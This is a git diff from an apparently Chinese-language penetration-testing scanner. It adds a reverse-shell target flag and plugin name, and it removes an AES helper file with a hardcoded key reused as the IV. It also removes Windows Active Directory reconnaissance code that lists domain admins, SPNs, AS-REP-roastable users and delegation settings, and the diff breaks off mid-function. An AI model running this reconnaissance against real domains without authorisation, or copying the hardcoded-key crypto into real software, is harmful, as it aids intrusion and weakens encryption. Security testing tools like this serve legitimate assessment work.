diff --git a/Common/Flag.go b/Common/Flag.go index 611e05b..04acb3f 100644 --- a/Common/Flag.go +++ b/Common/Flag.go @@ -63,6 +63,9 @@ var ( Shellcode string + // 反弹Shell相关变量 + ReverseShellTarget string + // Parse.go 使用的变量 HostPort []string URLs []string @@ -218,6 +221,7 @@ func Flag(Info *HostInfo) { // 其他参数 // ═════════════════════════════════════════════════ flag.StringVar(&Shellcode, "sc", "", i18n.GetText("flag_shellcode")) + flag.StringVar(&ReverseShellTarget, "rsh", "", i18n.GetText("flag_reverse_shell_target")) flag.StringVar(&Language, "lang", "zh", i18n.GetText("flag_language")) // 帮助参数 @@ -364,12 +368,12 @@ func checkParameterConflicts() { if LocalMode { if LocalPlugin == "" { fmt.Printf("错误: 使用本地扫描模式 (-local) 时必须指定一个本地插件 (-localplugin)\n") - fmt.Printf("可用的本地插件: fileinfo, dcinfo, minidump\n") + fmt.Printf("可用的本地插件: fileinfo, dcinfo, minidump, reverseshell\n") os.Exit(1) } // 验证本地插件名称 - validPlugins := []string{"fileinfo", "dcinfo", "minidump"} + validPlugins := []string{"fileinfo", "dcinfo", "minidump", "reverseshell"} isValid := false for _, valid := range validPlugins { if LocalPlugin == valid { @@ -380,7 +384,7 @@ func checkParameterConflicts() { if !isValid { fmt.Printf("错误: 无效的本地插件 '%s'\n", LocalPlugin) - fmt.Printf("可用的本地插件: fileinfo, dcinfo, minidump\n") + fmt.Printf("可用的本地插件: fileinfo, dcinfo, minidump, reverseshell\n") os.Exit(1) } } diff --git a/Common/i18n/messages/flag.go b/Common/i18n/messages/flag.go index f72c0b5..6234f8c 100644 --- a/Common/i18n/messages/flag.go +++ b/Common/i18n/messages/flag.go @@ -234,6 +234,10 @@ var FlagMessages = map[string]map[string]string{ LangZH: "Shellcode", LangEN: "Shellcode", }, + "flag_reverse_shell_target": { + LangZH: "反弹Shell目标地址:端口 (如: 192.168.1.100:4444)", + LangEN: "Reverse shell target address:port (e.g.: 192.168.1.100:4444)", + }, "flag_language": { LangZH: "语言: zh, en", LangEN: "Language: zh, en", diff --git a/Plugins/Base.go b/Plugins/Base.go deleted file mode 100644 index 20fa91a..0000000 --- a/Plugins/Base.go +++ /dev/null @@ -1,127 +0,0 @@ -package Plugins - -import ( - "bytes" - "crypto/aes" - "crypto/cipher" - "encoding/base64" - "errors" - "fmt" - "net" -) - -// ReadBytes 从连接读取数据直到EOF或错误 -func ReadBytes(conn net.Conn) ([]byte, error) { - size := 4096 // 缓冲区大小 - buf := make([]byte, size) - var result []byte - var lastErr error - - // 循环读取数据 - for { - count, err := conn.Read(buf) - if err != nil { - lastErr = err - break - } - - result = append(result, buf[0:count]...) - - // 如果读取的数据小于缓冲区,说明已经读完 - if count < size { - break - } - } - - // 如果读到了数据,则忽略错误 - if len(result) > 0 { - return result, nil - } - - return result, lastErr -} - -// 默认AES加密密钥 -var key = "0123456789abcdef" - -// AesEncrypt 使用AES-CBC模式加密字符串 -func AesEncrypt(orig string, key string) (string, error) { - // 转为字节数组 - origData := []byte(orig) - keyBytes := []byte(key) - - // 创建加密块,要求密钥长度必须为16/24/32字节 - block, err := aes.NewCipher(keyBytes) - if err != nil { - return "", fmt.Errorf("创建加密块失败: %v", err) - } - - // 获取块大小并填充数据 - blockSize := block.BlockSize() - origData = PKCS7Padding(origData, blockSize) - - // 创建CBC加密模式 - blockMode := cipher.NewCBCEncrypter(block, keyBytes[:blockSize]) - - // 加密数据 - encrypted := make([]byte, len(origData)) - blockMode.CryptBlocks(encrypted, origData) - - // base64编码 - return base64.StdEncoding.EncodeToString(encrypted), nil -} - -// AesDecrypt 使用AES-CBC模式解密字符串 -func AesDecrypt(crypted string, key string) (string, error) { - // base64解码 - cryptedBytes, err := base64.StdEncoding.DecodeString(crypted) - if err != nil { - return "", fmt.Errorf("base64解码失败: %v", err) - } - - keyBytes := []byte(key) - - // 创建解密块 - block, err := aes.NewCipher(keyBytes) - if err != nil { - return "", fmt.Errorf("创建解密块失败: %v", err) - } - - // 创建CBC解密模式 - blockSize := block.BlockSize() - blockMode := cipher.NewCBCDecrypter(block, keyBytes[:blockSize]) - - // 解密数据 - origData := make([]byte, len(cryptedBytes)) - blockMode.CryptBlocks(origData, cryptedBytes) - - // 去除填充 - origData, err = PKCS7UnPadding(origData) - if err != nil { - return "", fmt.Errorf("去除PKCS7填充失败: %v", err) - } - - return string(origData), nil -} - -// PKCS7Padding 对数据进行PKCS7填充 -func PKCS7Padding(data []byte, blockSize int) []byte { - padding := blockSize - len(data)%blockSize - padtext := bytes.Repeat([]byte{byte(padding)}, padding) - return append(data, padtext...) -} - -// PKCS7UnPadding 去除PKCS7填充 -func PKCS7UnPadding(data []byte) ([]byte, error) { - length := len(data) - if length == 0 { - return nil, errors.New("数据长度为0") - } - - padding := int(data[length-1]) - if padding > length { - return nil, errors.New("填充长度无效") - } - - return data[:length-padding], nil -} diff --git a/Plugins/DCInfo.go b/Plugins/DCInfo.go deleted file mode 100644 index ee75192..0000000 --- a/Plugins/DCInfo.go +++ /dev/null @@ -1,1050 +0,0 @@ -//go:build windows - -package Plugins - -import ( - "fmt" - "github.com/go-ldap/ldap/v3" - "github.com/go-ldap/ldap/v3/gssapi" - "github.com/shadow1ng/fscan/common" - "os/exec" - "strconv" - "strings" -) - -type DomainInfo struct { - conn *ldap.Conn - baseDN string -} - -func (d *DomainInfo) Close() { - if d.conn != nil { - d.conn.Close() - } -} - -func (d *DomainInfo) GetCAComputers() ([]string, error) { - common.LogDebug("开始查询域内CA服务器...") - - searchRequest := ldap.NewSearchRequest( - "CN=Configuration,"+d.baseDN, - ldap.ScopeWholeSubtree, - ldap.NeverDerefAliases, - 0, - 0, - false, - "(&(objectCategory=pKIEnrollmentService))", - []string{"cn", "dNSHostName"}, - nil, - ) - - sr, err := d.conn.SearchWithPaging(searchRequest, 10000) - if err != nil { - common.LogError(fmt.Sprintf("查询CA服务器失败: %v", err)) - return nil, err - } - - var caComputers []string - for _, entry := range sr.Entries { - cn := entry.GetAttributeValue("cn") - if cn != "" { - caComputers = append(caComputers, cn) - common.LogDebug(fmt.Sprintf("发现CA服务器: %s", cn)) - } - } - - if len(caComputers) > 0 { - common.LogSuccess(fmt.Sprintf("共发现 %d 个CA服务器", len(caComputers))) - } else { - common.LogDebug("未发现CA服务器") - } - - return caComputers, nil -} - -func (d *DomainInfo) GetExchangeServers() ([]string, error) { - common.LogDebug("开始查询Exchange服务器...") - - searchRequest := ldap.NewSearchRequest( - d.baseDN, - ldap.ScopeWholeSubtree, - ldap.NeverDerefAliases, - 0, - 0, - false, - "(&(objectCategory=group)(cn=Exchange Servers))", - []string{"member"}, - nil, - ) - - sr, err := d.conn.SearchWithPaging(searchRequest, 10000) - if err != nil { - common.LogError(fmt.Sprintf("查询Exchange服务器失败: %v", err)) - return nil, err - } - - var exchangeServers []string - for _, entry := range sr.Entries { - for _, member := range entry.GetAttributeValues("member") { - if member != "" { - exchangeServers = append(exchangeServers, member) - common.LogDebug(fmt.Sprintf("发现Exchange服务器成员: %s", member)) - } - } - } - - // 移除第一个条目(如果存在) - if len(exchangeServers) > 1 { - exchangeServers = exchangeServers[1:] - common.LogDebug("移除第一个条目") - } - - if len(exchangeServers) > 0 { - common.LogSuccess(fmt.Sprintf("共发现 %d 个Exchange服务器", len(exchangeServers))) - } else { - common.LogDebug("未发现Exchange服务器") - } - - return exchangeServers, nil -} - -func (d *DomainInfo) GetMsSqlServers() ([]string, error) { - common.LogDebug("开始查询SQL Server服务器...") - - searchRequest := ldap.NewSearchRequest( - d.baseDN, - ldap.ScopeWholeSubtree, - ldap.NeverDerefAliases, - 0, - 0, - false, - "(&(objectClass=computer)(servicePrincipalName=MSSQLSvc*))", - []string{"name"}, - nil, - ) - - sr, err := d.conn.SearchWithPaging(searchRequest, 10000) - if err != nil { - common.LogError(fmt.Sprintf("查询SQL Server失败: %v", err)) - return nil, err - } - - var sqlServers []string - for _, entry := range sr.Entries { - name := entry.GetAttributeValue("name") - if name != "" { - sqlServers = append(sqlServers, name) - common.LogDebug(fmt.Sprintf("发现SQL Server: %s", name)) - } - } - - if len(sqlServers) > 0 { - common.LogSuccess(fmt.Sprintf("共发现 %d 个SQL Server", len(sqlServers))) - } else { - common.LogDebug("未发现SQL Server") - } - - return sqlServers, nil -} - -func (d *DomainInfo) GetSpecialComputers() (map[string][]string, error) { - common.LogDebug("开始查询特殊计算机...") - results := make(map[string][]string) - - // 获取SQL Server - common.LogDebug("正在查询SQL Server...") - sqlServers, err := d.GetMsSqlServers() - if err == nil && len(sqlServers) > 0 { - results["SQL服务器"] = sqlServers - } else if err != nil { - common.LogError(fmt.Sprintf("查询SQL Server时出错: %v", err)) - } - - // 获取CA服务器 - common.LogDebug("正在查询CA服务器...") - caComputers, err := d.GetCAComputers() - if err == nil && len(caComputers) > 0 { - results["CA服务器"] = caComputers - } else if err != nil { - common.LogError(fmt.Sprintf("查询CA服务器时出错: %v", err)) - } - - // 获取域控制器 - common.LogDebug("正在查询域控制器...") - dcQuery := ldap.NewSearchRequest( - d.baseDN, - ldap.ScopeWholeSubtree, - ldap.NeverDerefAliases, - 0, - 0, - false, - "(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))", - []string{"cn"}, - nil, - ) - - if sr, err := d.conn.SearchWithPaging(dcQuery, 10000); err == nil { - var dcs []string - for _, entry := range sr.Entries { - name := entry.GetAttributeValue("cn") - if name != "" { - dcs = append(dcs, name) - common.LogDebug(fmt.Sprintf("发现域控制器: %s", name)) - } - } - if len(dcs) > 0 { - results["域控制器"] = dcs - common.LogSuccess(fmt.Sprintf("共发现 %d 个域控制器", len(dcs))) - } else { - common.LogDebug("未发现域控制器") - } - } else { - common.LogError(fmt.Sprintf("查询域控制器时出错: %v", err)) - } - - // 获取Exchange服务器 - common.LogDebug("正在查询Exchange服务器...") - exchangeServers, err := d.GetExchangeServers() - if err == nil && len(exchangeServers) > 0 { - results["Exchange服务器"] = exchangeServers - } else if err != nil { - common.LogError(fmt.Sprintf("查询Exchange服务器时出错: %v", err)) - } - - if len(results) > 0 { - common.LogSuccess(fmt.Sprintf("特殊计算机查询完成,共发现 %d 类服务器", len(results))) - for serverType, servers := range results { - common.LogDebug(fmt.Sprintf("%s: %d 台", serverType, len(servers))) - } - } else { - common.LogDebug("未发现任何特殊计算机") - } - - return results, nil -} - -func (d *DomainInfo) GetDomainUsers() ([]string, error) { - common.LogDebug("开始查询域用户...") - - searchRequest := ldap.NewSearchRequest( - d.baseDN, - ldap.ScopeWholeSubtree, - ldap.NeverDerefAliases, - 0, - 0, - false, - "(&(objectCategory=person)(objectClass=user))", - []string{"sAMAccountName"}, - nil, - ) - - sr, err := d.conn.SearchWithPaging(searchRequest, 10000) - if err != nil { - common.LogError(fmt.Sprintf("查询域用户失败: %v", err)) - return nil, err - } - - var users []string - for _, entry := range sr.Entries { - username := entry.GetAttributeValue("sAMAccountName") - if username != "" { - users = append(users, username) - common.LogDebug(fmt.Sprintf("发现用户: %s", username)) - } - } - - if len(users) > 0 { - common.LogSuccess(fmt.Sprintf("共发现 %d 个域用户", len(users))) - } else { - common.LogDebug("未发现域用户") - } - - return users, nil -} - -func (d *DomainInfo) GetDomainAdmins() ([]string, error) { - common.LogDebug("开始查询域管理员...") - - searchRequest := ldap.NewSearchRequest( - d.baseDN, - ldap.ScopeWholeSubtree, - ldap.NeverDerefAliases, - 0, - 0, - false, - "(&(objectCategory=group)(cn=Domain Admins))", - []string{"member", "sAMAccountName"}, - nil, - ) - - sr, err := d.conn.SearchWithPaging(searchRequest, 10000) - if err != nil { - common.LogError(fmt.Sprintf("查询Domain Admins组失败: %v", err)) - return nil, err - } - - var admins []string - if len(sr.Entries) > 0 { - members := sr.Entries[0].GetAttributeValues("member") - common.LogDebug(fmt.Sprintf("发现 %d 个Domain Admins组成员", len(members))) - - for _, memberDN := range members { - memberSearch := ldap.NewSearchRequest( - memberDN, - ldap.ScopeBaseObject, - ldap.NeverDerefAliases, - 0, - 0, - false, - "(objectClass=*)", - []string{"sAMAccountName"}, - nil, - ) - - memberResult, err := d.conn.Search(memberSearch) - if err != nil { - common.LogError(fmt.Sprintf("查询成员 %s 失败: %v", memberDN, err)) - continue - } - - if len(memberResult.Entries) > 0 { - samAccountName := memberResult.Entries[0].GetAttributeValue("sAMAccountName") - if samAccountName != "" { - admins = append(admins, samAccountName) - common.LogDebug(fmt.Sprintf("发现域管理员: %s", samAccountName)) - } - } - } - } - - if len(admins) > 0 { - common.LogSuccess(fmt.Sprintf("共发现 %d 个域管理员", len(admins))) - } else { - common.LogDebug("未发现域管理员") - } - - return admins, nil -} - -func (d *DomainInfo) GetOUs() ([]string, error) { - common.LogDebug("开始查询组织单位(OU)...") - - searchRequest := ldap.NewSearchRequest( - d.baseDN, - ldap.ScopeWholeSubtree, - ldap.NeverDerefAliases, - 0, - 0, - false, - "(objectClass=organizationalUnit)", - []string{"ou"}, - nil, - ) - - sr, err := d.conn.SearchWithPaging(searchRequest, 10000) - if err != nil { - common.LogError(fmt.Sprintf("查询OU失败: %v", err)) - return nil, err - } - - var ous []string - for _, entry := range sr.Entries { - ou := entry.GetAttributeValue("ou") - if ou != "" { - ous = append(ous, ou) - common.LogDebug(fmt.Sprintf("发现OU: %s", ou)) - } - } - - if len(ous) > 0 { - common.LogSuccess(fmt.Sprintf("共发现 %d 个组织单位", len(ous))) - } else { - common.LogDebug("未发现组织单位") - } - - return ous, nil -} - -func (d *DomainInfo) GetComputers() ([]Computer, error) { - common.LogDebug("开始查询域内计算机...") - - searchRequest := ldap.NewSearchRequest( - d.baseDN, - ldap.ScopeWholeSubtree, - ldap.NeverDerefAliases, - 0, - 0, - false, - "(&(objectClass=computer))", - []string{"cn", "operatingSystem", "dNSHostName"}, - nil, - ) - - sr, err := d.conn.SearchWithPaging(searchRequest, 10000) - if err != nil { - common.LogError(fmt.Sprintf("查询计算机失败: %v", err)) - return nil, err - } - - var computers []Computer - for _, entry := range sr.Entries { - computer := Computer{ - Name: entry.GetAttributeValue("cn"), - OperatingSystem: entry.GetAttributeValue("operatingSystem"), - DNSHostName: entry.GetAttributeValue("dNSHostName"), - } - computers = append(computers, computer) - common.LogDebug(fmt.Sprintf("发现计算机: %s (OS: %s, DNS: %s)", - computer.Name, - computer.OperatingSystem, - computer.DNSHostName)) - } - - if len(computers) > 0 { - common.LogSuccess(fmt.Sprintf("共发现 %d 台计算机", len(computers))) - - // 统计操作系统分布 - osCount := make(map[string]int) - for _, computer := range computers { - if computer.OperatingSystem != "" { - osCount[computer.OperatingSystem]++ - } - } - - for os, count := range osCount { - common.LogDebug(fmt.Sprintf("操作系统 %s: %d 台", os, count)) - } - } else { - common.LogDebug("未发现计算机") - } - - return computers, nil -} - -// 定义计算机结构体 -type Computer struct { - Name string - OperatingSystem string - DNSHostName string -} - -func (d *DomainInfo) GetTrustDomains() ([]string, error) { - common.LogDebug("开始查询域信任关系...") - - searchRequest := ldap.NewSearchRequest( - d.baseDN, - ldap.ScopeWholeSubtree, - ldap.NeverDerefAliases, - 0, - 0, - false, - "(&(objectClass=trustedDomain))", - []string{"cn", "trustDirection", "trustType"}, - nil, - ) - - sr, err := d.conn.SearchWithPaging(searchRequest, 10000) - if err != nil { - common.LogError(fmt.Sprintf("查询信任域失败: %v", err)) - return nil, err - } - - var trustInfo []string - for _, entry := range sr.Entries { - cn := entry.GetAttributeValue("cn") - if cn != "" { - trustInfo = append(trustInfo, cn) - common.LogDebug(fmt.Sprintf("发现信任域: %s", cn)) - } - } - - if len(trustInfo) > 0 { - common.LogSuccess(fmt.Sprintf("共发现 %d 个信任域", len(trustInfo))) - } else { - common.LogDebug("未发现信任域关系") - } - - return trustInfo, nil -} - -func (d *DomainInfo) GetAdminGroups() (map[string][]string, error) { - common.LogDebug("开始查询管理员组信息...") - - adminGroups := map[string]string{ - "Domain Admins": "(&(objectClass=group)(cn=Domain Admins))", - "Enterprise Admins": "(&(objectClass=group)(cn=Enterprise Admins))", - "Administrators": "(&(objectClass=group)(cn=Administrators))", - } - - results := make(map[string][]string) - - for groupName, filter := range adminGroups { - common.LogDebug(fmt.Sprintf("正在查询 %s 组...", groupName)) - - searchRequest := ldap.NewSearchRequest( - d.baseDN, - ldap.ScopeWholeSubtree, - ldap.NeverDerefAliases, - 0, - 0, - false, - filter, - []string{"member"}, - nil, - ) - - sr, err := d.conn.SearchWithPaging(searchRequest, 10000) - if err != nil { - common.LogError(fmt.Sprintf("查询 %s 组失败: %v", groupName, err)) - continue - } - - if len(sr.Entries) > 0 { - members := sr.Entries[0].GetAttributeValues("member") - if len(members) > 0 { - results[groupName] = members - common.LogDebug(fmt.Sprintf("%s 组成员数量: %d", groupName, len(members))) - for _, member := range members { - common.LogDebug(fmt.Sprintf("- %s: %s", groupName, member)) - } - } else { - common.LogDebug(fmt.Sprintf("%s 组未发现成员", groupName)) - } - } - } - - if len(results) > 0 { - common.LogSuccess(fmt.Sprintf("共发现 %d 个管理员组", len(results))) - } else { - common.LogDebug("未发现管理员组信息") - } - - return results, nil -} - -func (d *DomainInfo) GetDelegation() (map[string][]string, error) { - common.LogDebug("开始查询委派信息...") - - delegationQueries := map[string]string{ - "非约束委派": "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))", - "约束委派": "(msDS-AllowedToDelegateTo=*)", - "基于资源的约束委派": "(msDS-AllowedToActOnBehalfOfOtherIdentity=*)", - } - - results := make(map[string][]string) - - for delegationType, query := range delegationQueries { - common.LogDebug(fmt.Sprintf("正在查询%s...", delegationType)) - - searchRequest := ldap.NewSearchRequest( - d.baseDN, - ldap.ScopeWholeSubtree, - ldap.NeverDerefAliases, - 0, - 0, - false, - query, - []string{"cn", "distinguishedName"}, - nil, - ) - - sr, err := d.conn.SearchWithPaging(searchRequest, 10000) - if err != nil { - common.LogError(fmt.Sprintf("查询%s失败: %v", delegationType, err)) - continue - } - - var entries []string - for _, entry := range sr.Entries { - cn := entry.GetAttributeValue("cn") - if cn != "" { - entries = append(entries, cn) - common.LogDebug(fmt.Sprintf("发现%s: %s", delegationType, cn)) - } - } - - if len(entries) > 0 { - results[delegationType] = entries - common.LogSuccess(fmt.Sprintf("%s: 发现 %d 条记录", delegationType, len(entries))) - } else { - common.LogDebug(fmt.Sprintf("未发现%s记录", delegationType)) - } - } - - if len(results) > 0 { - common.LogSuccess(fmt.Sprintf("共发现 %d 类委派配置", len(results))) - } else { - common.LogDebug("未发现任何委派配置") - } - - return results, nil -} - -// 获取AS-REP Roasting漏洞用户 -func (d *DomainInfo) GetAsrepRoastUsers() ([]string, error) { - common.LogDebug("开始查询AS-REP Roasting漏洞用户...") - - searchRequest := ldap.NewSearchRequest( - d.baseDN, - ldap.ScopeWholeSubtree, - ldap.NeverDerefAliases, - 0, - 0, - false, - "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))", - []string{"sAMAccountName"}, - nil, - ) - - sr, err := d.conn.SearchWithPaging(searchRequest, 10000) - if err != nil { - common.LogError(fmt.Sprintf("查询AS-REP Roasting漏洞用户失败: %v", err)) - return nil, err - } - - var users []string - for _, entry := range sr.Entries { - name := entry.GetAttributeValue("sAMAccountName") - if name != "" { - users = append(users, name) - common.LogDebug(fmt.Sprintf("发现存在AS-REP Roasting漏洞的用户: %s", name)) - } - } - - if len(users) > 0 { - common.LogSuccess(fmt.Sprintf("共发现 %d 个存在AS-REP Roasting漏洞的用户", len(users))) - } else { - common.LogDebug("未发现存在AS-REP Roasting漏洞的用户") - } - - return users, nil -} - -func (d *DomainInfo) GetPasswordPolicy() (map[string]string, error) { - common.LogDebug("开始查询域密码策略...") - - searchRequest := ldap.NewSearchRequest( - d.baseDN, - ldap.ScopeBaseObject, - ldap.NeverDerefAliases, - 0, - 0, - false, - "(objectClass=*)", - []string{ - "maxPwdAge", - "minPwdAge", - "minPwdLength", - "pwdHistoryLength", - "pwdProperties", - "lockoutThreshold", - "lockoutDuration", - }, - nil, - ) - - sr, err := d.conn.Search(searchRequest) - if err != nil { - common.LogError(fmt.Sprintf("查询密码策略失败: %v", err)) - return nil, err - } - - if len(sr.Entries) == 0 { - common.LogError("未找到密码策略信息") - return nil, fmt.Errorf("未找到密码策略信息") - } - - policy := make(map[string]string) - entry := sr.Entries[0] - - // 转换最大密码期限 - if maxAge := entry.GetAttributeValue("maxPwdAge"); maxAge != "" { - maxAgeInt, _ := strconv.ParseInt(maxAge, 10, 64) - if maxAgeInt != 0 { - days := float64(maxAgeInt) * -1 / float64(864000000000) - policy["最大密码期限"] = fmt.Sprintf("%.0f天", days) - common.LogDebug(fmt.Sprintf("最大密码期限: %.0f天", days)) - } - } - - if minLength := entry.GetAttributeValue("minPwdLength"); minLength != "" { - policy["最小密码长度"] = minLength + "个字符" - common.LogDebug(fmt.Sprintf("最小密码长度: %s个字符", minLength)) - } - - if historyLength := entry.GetAttributeValue("pwdHistoryLength"); historyLength != "" { - policy["密码历史长度"] = historyLength + "个" - common.LogDebug(fmt.Sprintf("密码历史长度: %s个", historyLength)) - } - - if lockoutThreshold := entry.GetAttributeValue("lockoutThreshold"); lockoutThreshold != "" { - policy["账户锁定阈值"] = lockoutThreshold + "次" - common.LogDebug(fmt.Sprintf("账户锁定阈值: %s次", lockoutThreshold)) - } - - if len(policy) > 0 { - common.LogSuccess(fmt.Sprintf("成功获取域密码策略,共 %d 项配置", len(policy))) - - // 安全性评估 - minLengthInt, _ := strconv.Atoi(strings.TrimSuffix(policy["最小密码长度"], "个字符")) - if minLengthInt < 8 { - common.LogDebug("警告:密码最小长度小于8个字符,存在安全风险") - } - - lockoutThresholdInt, _ := strconv.Atoi(strings.TrimSuffix(policy["账户锁定阈值"], "次")) - if lockoutThresholdInt == 0 { - common.LogDebug("警告:未启用账户锁定策略,存在暴力破解风险") - } - } else { - common.LogDebug("未获取到任何密码策略配置") - } - - return policy, nil -} - -func (d *DomainInfo) GetSPNs() (map[string][]string, error) { - common.LogDebug("开始查询SPN信息...") - - searchRequest := ldap.NewSearchRequest( - d.baseDN, - ldap.ScopeWholeSubtree, - ldap.NeverDerefAliases, - 0, - 0, - false, - "(servicePrincipalName=*)", - []string{"distinguishedName", "servicePrincipalName", "cn"}, - nil, - ) - - sr, err := d.conn.SearchWithPaging(searchRequest, 10000) - if err != nil { - common.LogError(fmt.Sprintf("查询SPN失败: %v", err)) - return nil, err - } - - spns := make(map[string][]string) - for _, entry := range sr.Entries { - dn := entry.GetAttributeValue("distinguishedName") - cn := entry.GetAttributeValue("cn") - spnList := entry.GetAttributeValues("servicePrincipalName") - - if len(spnList) > 0 { - key := fmt.Sprintf("SPN:%s", dn) - spns[key] = spnList - common.LogDebug(fmt.Sprintf("发现SPN - CN: %s", cn)) - for _, spn := range spnList { - common.LogDebug(fmt.Sprintf(" - %s", spn)) - } - } - } - - if len(spns) > 0 { - common.LogSuccess(fmt.Sprintf("共发现 %d 个SPN配置", len(spns))) - } else { - common.LogDebug("未发现SPN配置") - } - - return spns, nil -} - -func getDomainController() (string, error) { - common.LogDebug("开始查询域控制器地址...") - - // 尝试使用wmic获取当前域名 - common.LogDebug("正在使用wmic获取域名...") - cmd := exec.Command("wmic", "computersystem", "get", "domain") - output, err := cmd.Output() - if err != nil { - common.LogError(fmt.Sprintf("获取域名失败: %v", err)) - return "", fmt.Errorf("获取域名失败: %v", err) - } - - lines := strings.Split(string(output), "\n") - if len(lines) < 2 { - common.LogError("wmic输出格式异常,未找到域名") - return "", fmt.Errorf("未找到域名") - } - - domain := strings.TrimSpace(lines[1]) - if domain == "" { - common.LogError("获取到的域名为空") - return "", fmt.Errorf("域名为空") - } - common.LogDebug(fmt.Sprintf("获取到域名: %s", domain)) - - // 使用nslookup查询域控制器 - common.LogDebug(fmt.Sprintf("正在使用nslookup查询域控制器 (_ldap._tcp.dc._msdcs.%s)...", domain)) - cmd = exec.Command("nslookup", "-type=SRV", fmt.Sprintf("_ldap._tcp.dc._msdcs.%s", domain)) - output, err = cmd.Output() - if err != nil { - common.LogError(fmt.Sprintf("nslookup查询失败: %v", err)) - return "", fmt.Errorf("查询域控制器失败: %v", err) - } - - // 解析nslookup输出 - lines = strings.Split(string(output), "\n") - for _, line := range lines { - if strings.Contains(line, "svr hostname") { - parts := strings.Split(line, "=") - if len(parts) > 1 { - dcHost := strings.TrimSpace(parts[1]) - dcHost = strings.TrimSuffix(dcHost, ".") - common.LogSuccess(fmt.Sprintf("找到域控制器: %s", dcHost)) - return dcHost, nil - } - } - } - - // 尝试使用域名前缀加DC后缀 - common.LogDebug("未从nslookup获取到域控制器,尝试使用域名前缀...") - domainParts := strings.Split(domain, ".") - if len(domainParts) > 0 { - dcHost := fmt.Sprintf("dc.%s", domain) - common.LogDebug(fmt.Sprintf("使用备选域控制器地址: %s", dcHost)) - return dcHost, nil - } - - common.LogError("无法获取域控制器地址") - return "", fmt.Errorf("无法获取域控制器地址") -} - -func NewDomainInfo() (*DomainInfo, error) { - common.LogDebug("开始初始化域信息...") - - // 获取域控制器地址 - common.LogDebug("正在获取域控制器地址...") - dcHost, err := getDomainController() - if err != nil { - common.LogError(fmt.Sprintf("获取域控制器失败: %v", err)) - return nil, fmt.Errorf("获取域控制器失败: %v", err) - } - common.LogDebug(fmt.Sprintf("成功获取域控制器地址: %s", dcHost)) - - // 创建SSPI客户端 - common.LogDebug("正在创建SSPI客户端...") - ldapClient, err := gssapi.NewSSPIClient() - if err != nil { - common.LogError(fmt.Sprintf("创建SSPI客户端失败: %v", err)) - return nil, fmt.Errorf("创建SSPI客户端失败: %v", err) - } - defer ldapClient.Close() - common.LogDebug("SSPI客户端创建成功") - - // 创建LDAP连接 - common.LogDebug(fmt.Sprintf("正在连接LDAP服务器 ldap://%s:389", dcHost)) - conn, err := ldap.DialURL(fmt.Sprintf("ldap://%s:389", dcHost)) - if err != nil { - common.LogError(fmt.Sprintf("LDAP连接失败: %v", err)) - return nil, fmt.Errorf("LDAP连接失败: %v", err) - } - common.LogDebug("LDAP连接建立成功") - - // 使用GSSAPI进行绑定 - common.LogDebug(fmt.Sprintf("正在进行GSSAPI绑定 (ldap/%s)...", dcHost)) - err = conn.GSSAPIBind(ldapClient, fmt.Sprintf("ldap/%s", dcHost), "") - if err != nil { - conn.Close() - common.LogError(fmt.Sprintf("GSSAPI绑定失败: %v", err)) - return nil, fmt.Errorf("GSSAPI绑定失败: %v", err) - } - common.LogDebug("GSSAPI绑定成功") - - // 获取defaultNamingContext - common.LogDebug("正在查询defaultNamingContext...") - searchRequest := ldap.NewSearchRequest( - "", - ldap.ScopeBaseObject, - ldap.NeverDerefAliases, - 0, 0, false, - "(objectClass=*)", - []string{"defaultNamingContext"}, - nil, - ) - - result, err := conn.Search(searchRequest) - if err != nil { - conn.Close() - common.LogError(fmt.Sprintf("获取defaultNamingContext失败: %v", err)) - return nil, fmt.Errorf("获取defaultNamingContext失败: %v", err) - } - - if len(result.Entries) == 0 { - conn.Close() - common.LogError("未找到defaultNamingContext") - return nil, fmt.Errorf("未找到defaultNamingContext") - } - - baseDN := result.Entries[0].GetAttributeValue("defaultNamingContext") - if baseDN == "" { - common.LogDebug("defaultNamingContext为空,使用备选方法获取BaseDN") - baseDN = getDomainDN(dcHost) // 使用备选方法 - } - - common.LogSuccess(fmt.Sprintf("初始化完成,使用BaseDN: %s", baseDN)) - - return &DomainInfo{ - conn: conn, - baseDN: baseDN, - }, nil -} - -func DCInfoScan(info *common.HostInfo) (err error) { - - // 创建DomainInfo实例 - common.LogDebug("正在初始化域信息...") - di, err := NewDomainInfo() - if err != nil { - common.LogError(fmt.Sprintf("初始化域信息失败: %v", err)) - return err - } - defer di.Close() - - // 获取特殊计算机列表 - specialComputers, err := di.GetSpecialComputers() - if err != nil { - common.LogError(fmt.Sprintf("获取特殊计算机失败: %v", err)) - } else { - categories := []string{ - "SQL服务器", - "CA服务器", - "域控制器", - "Exchange服务器", - } - - common.LogSuccess("[*] 特殊计算机信息:") - for _, category := range categories { - if computers, ok := specialComputers[category]; ok { - common.LogSuccess(fmt.Sprintf("[+] %s:", category)) - for _, computer := range computers { - common.LogSuccess(fmt.Sprintf(" %s", computer)) - } - } - } - } - - // 获取域用户 - users, err := di.GetDomainUsers() - if err != nil { - common.LogError(fmt.Sprintf("获取域用户失败: %v", err)) - } else { - common.LogSuccess("[*] 域用户列表:") - for _, user := range users { - common.LogSuccess(fmt.Sprintf(" %s", user)) - } - } - - // 获取域管理员 - admins, err := di.GetDomainAdmins() - if err != nil { - common.LogError(fmt.Sprintf("获取域管理员失败: %v", err)) - } else { - common.LogSuccess("[*] 域管理员列表:") - for _, admin := range admins { - common.LogSuccess(fmt.Sprintf(" %s", admin)) - } - } - - // 获取组织单位 - ous, err := di.GetOUs() - if err != nil { - common.LogError(fmt.Sprintf("获取组织单位失败: %v", err)) - } else { - common.LogSuccess("[*] 组织单位:") - for _, ou := range ous { - common.LogSuccess(fmt.Sprintf(" %s", ou)) - } - } - - // 获取域计算机 - computers, err := di.GetComputers() - if err != nil { - common.LogError(fmt.Sprintf("获取域计算机失败: %v", err)) - } else { - common.LogSuccess("[*] 域计算机:") - for _, computer := range computers { - if computer.OperatingSystem != "" { - common.LogSuccess(fmt.Sprintf(" %s --> %s", computer.Name, computer.OperatingSystem)) - } else { - common.LogSuccess(fmt.Sprintf(" %s", computer.Name)) - } - } - } - - // 获取信任域关系 - trustDomains, err := di.GetTrustDomains() - if err == nil && len(trustDomains) > 0 { - common.LogSuccess("[*] 信任域关系:") - for _, domain := range trustDomains { - common.LogSuccess(fmt.Sprintf(" %s", domain)) - } - } - - // 获取域管理员组信息 - adminGroups, err := di.GetAdminGroups() - if err == nil && len(adminGroups) > 0 { - 